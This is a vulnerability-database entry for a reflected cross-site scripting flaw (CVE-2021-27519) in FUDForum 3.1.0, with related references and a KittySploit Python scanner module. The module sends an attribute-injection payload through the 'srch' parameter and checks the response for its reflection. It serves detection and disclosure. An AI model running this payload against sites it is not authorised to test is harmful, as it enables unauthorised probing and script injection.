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FUDForum 3.1.0 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Remote attackers can inject JavaScript into FUDForum via the index.php srch parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
FUDForum 3.1.0 - (srch) Reflected XSS Vulnerability
3 Jun 202100:00
–zdt
attackerkb
attackerkb
CVE-2021-27519
19 Mar 202119:15
–attackerkb
circl
Circl
CVE-2021-27519
19 Mar 202121:33
–circl
cnnvd
CNNVD
FUDForum 跨站脚本漏洞
19 Mar 202100:00
–cnnvd
cnvd
CNVD
FUDForum cross-site scripting vulnerability (CNVD-2021-22862)
22 Mar 202100:00
–cnvd
cve
CVE
CVE-2021-27519
19 Mar 202118:54
–cve
cvelist
Cvelist
CVE-2021-27519
19 Mar 202118:54
–cvelist
exploitdb
Exploit DB
FUDForum 3.1.0 - 'srch' Reflected XSS
3 Jun 202100:00
–exploitdb
euvd
EUVD
EUVD-2021-14271
7 Oct 202500:30
–euvd
mend
Mend
CVE-2021-27519
19 Mar 202118:54
–mend
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FUDForum 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'FUDForum 3.1.0 - Cross-Site Scripting Detection',
        'description': 'FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'xss', 'fudforum', 'edb', 'packetstorm', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/49942',
            'https://github.com/fudforum/FUDforum/issues/2',
            'http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-27519',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2021-27519',
    }

    def run(self):
        r = self.http_request(method="GET", path='/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('highlightSearchTerms("x" onmouseover=alert(1) x="");',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="FUDForum 3.1.0 - Cross-Site Scripting detected",
                path='/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0',
            )
            return True
        return False

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28 Jul 2026 11:27Current
CVSS 24.3
CVSS 3.16.1
EPSS0.07604
4